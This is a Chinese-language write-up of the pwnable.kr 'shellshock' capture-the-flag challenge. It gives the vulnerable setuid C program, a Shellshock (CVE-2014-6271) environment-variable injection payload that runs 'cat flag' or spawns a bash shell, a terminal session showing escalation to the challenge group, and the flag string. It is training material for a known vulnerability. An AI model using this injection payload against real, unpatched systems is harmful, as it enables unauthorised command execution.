pwnable.kr-shellshock

题目描述:

Mommy, there was a shocking news about bash.

I bet you already know, but lets just make it sure 🙂

ssh [email protected] -p2222 (pw:guest)

shellshock.c的源码为:

#include <stdio.h>
int main(){
	setresuid(getegid(), getegid(), getegid());
	setresgid(getegid(), getegid(), getegid());
	system("/home/shellshock/bash -c 'echo shock_me'");
	return 0;
}

顾名思义了,这题就是需要利用shellshock漏洞来获取flag,具体的讲解参见:http://www.myhack58.com/Article/html/3/62/2015/60779.htm

所以我们构造payload:export foo=’() { :; }; cat flag‘直接获取flag,或者export foo=’() { :; }; bash’切换成shellshock2用户的bash,然后再执行命令获取flag:

shellshock@ubuntu:/home/shellshock$ export foo=’() { :; }; bash’

shellshock@ubuntu:/home/shellshock$ ./shellshock

shellshock@ubuntu:/home/shellshock$

shellshock@ubuntu:/home/shellshock$

shellshock@ubuntu:/home/shellshock$ cat flag

only if I knew CVE-2014-6271 ten years ago..!!

shellshock@ubuntu:/home/shellshock$ cat flag

only if I knew CVE-2014-6271 ten years ago..!!

shellshock@ubuntu:/home/shellshock$ whoami

shellshock

shellshock@ubuntu:/home/shellshock$ cat flag

only if I knew CVE-2014-6271 ten years ago..!!

shellshock@ubuntu:/home/shellshock$ id

uid=1048(shellshock) gid=1049(shellshock2) groups=1048(shellshock)

最后的flag为:only if I knew CVE-2014-6271 ten years ago..!!

最近的文章

pwnable.kr-coin1

题目描述: Mommy, I wanna play a game! (if your network response time is too slow, try nc 0 9007 inside pwnable.kr server) Running at : nc pwnable.kr 9007运行连接后发现是个小游戏: ————————————————— – Shall we play a game? – ————————————————— You have given ...…

coin payload pwnable.kr socket 二分法继续阅读
更早的文章

pwnable.kr-mistake

题目描述: We all make mistakes, let’s move on. (don’t take this too seriously, no fancy hacking skill is required at all) This task is based on real event Thanks to dhmonkey hint : operator priority ssh [email protected] -p2222 (pw:guest)mistak...…

fd mistake pwnable.kr read()继续阅读